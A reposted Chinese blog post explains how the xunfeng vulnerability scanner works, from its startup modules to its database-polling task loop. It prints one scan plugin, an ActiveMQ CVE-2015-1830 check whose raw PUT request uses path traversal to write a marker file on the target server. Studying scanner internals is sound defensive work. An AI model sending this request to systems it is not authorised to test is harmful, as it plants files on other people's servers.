漏掃是如何做的?——從xunfeng源碼看漏掃原理


來自:https://blog.csdn.net/sojrs_sec/article/details/103368463,后面我會加單獨的的分析。

以前搭建過好幾次xunfeng,也看過幾次他的源碼,最近團隊准備做巡風的二次開發,就要再好好看下他的源碼了,我們知道巡風主要有兩個功能,資產發現和漏洞掃描,我主要負責漏洞掃描這塊,就先簡單記錄下這塊的大致流程

一:看源碼tip
看源碼,第一步看他的啟動程序,可以看run.sh,巡風的啟動程序主要就五塊
mongodb啟動:這里mongodb可以直接用二進制文件啟動,導入導出,默認啟動在本地的65521端口
web.py啟動:flask啟動網頁
Nascan: 資產掃描
Vulscan:漏洞掃描
Aider:輔助模塊,還不了解


二: vulscan流程
就上個我看源碼的時候畫的圖吧

總的來說,其實巡風源碼還是很簡單的,過程看上圖就可以,就講下我自己對巡風的感覺
1: 巡風的資產掃描和漏洞掃描都是基於數據庫中特定字段的改變,會有心跳線程,就是上面的monitor(),不斷的去檢查數據庫中字段。用戶在頁面上的操作,都是先改變數據庫內容而已。所以比如開啟某個漏掃任務,可能沒法馬上開始
2: 從數據庫字段中可以看到,原來團隊應該打算跟定時周期掃描資產一樣,做一個定時周期掃描漏洞的功能,在頁面上沒有這個功能,接下來我這邊會加一下這個功能
想想好像源碼也沒啥好說的。。還是比較簡單的

---------------------------------------------

看看源碼vuldb,

# coding:utf-8
import socket
import time
import urllib2
import random

def get_plugin_info():
    plugin_info = {
        "name": "ActiveMQ unauthenticated RCE",
        "info": "CVE-2015-1830,攻擊者通過此漏洞可直接上傳webshell,進而入侵控制服務器。",
        "level": "緊急",
        "type": "任意文件上傳",
        "author": "wolf@YSRC",
        "url": "http://cve.scap.org.cn/CVE-2015-1830.html",
        "keyword": "title:ActiveMQ",
        "source": 1
    }
    return plugin_info

def random_str(len):
    str1 = ""
    for i in range(len):
        str1 += (random.choice("ABCDEFGH1234567890"))
    return str1

def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        filename = random_str(6)
        flag = "PUT /fileserver/sex../../..\\styles/%s.txt HTTP/1.0\r\nContent-Length: 9\r\n\r\nxxscan0\r\n\r\n"%(filename)
        s.send(flag)
        time.sleep(1)
        s.recv(1024)
        s.close()
        url = 'http://' + ip + ":" + str(port) + '/styles/%s.txt'%(filename)
        res_html = urllib2.urlopen(url, timeout=timeout).read(1024)
        if 'xxscan0' in res_html:
            return u"存在任意文件上傳漏洞," + url
    except:
        pass 

可以看到和IPS簽名匹配是一樣的。再看幾個:TODO,網太渣了。。。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM